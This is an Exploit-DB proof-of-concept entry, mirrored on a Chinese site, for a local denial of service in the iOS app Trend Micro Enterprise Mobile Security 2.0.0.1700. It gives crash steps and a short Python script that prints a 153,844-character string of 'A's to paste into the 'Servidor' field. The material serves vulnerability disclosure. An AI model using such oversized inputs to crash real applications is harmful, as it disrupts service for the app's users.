Trend Micro Enterprise Mobile Security 2.0.0.1700 – ‘Servidor’ Denial of Service (PoC) - 体验盒子

作者： Luis Martínez

日期： 2018-08-27

类别：

dos

平台：

ios

来源：https://www.exploit-db.com/exploits/45261/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# Exploit Title: Trend Micro Enterprise Mobile Security 2.0.0.1700 - 'Servidor' Denial of Service (PoC)

# Discovery by: Luis Martinez

# Discovery Date: 2018-08-26

# Vendor Homepage: https://www.trendmicro.com/en_se/business/products/user-protection/sps/mobile.html

# Software Link: App Store for iOS devices

# Tested Version: 2.0.0.1700

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: iPhone 7 iOS 11.4.1

# Steps to Produce the Crash:

# 1.- Run python code: Enterprise_Mobile_Security_2.0.0.1700.py

# 2.- Copy content to clipboard

# 3.- Open App Enterprise Mobile Security

# 4.- Inscribirse manualmente

# 5.- Servidor local

# 6.- Paste ClipBoard on "Servidor:"

# 7.- Puerto: 80

# 8.- Siguiente

# 9.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 153844

print (buffer)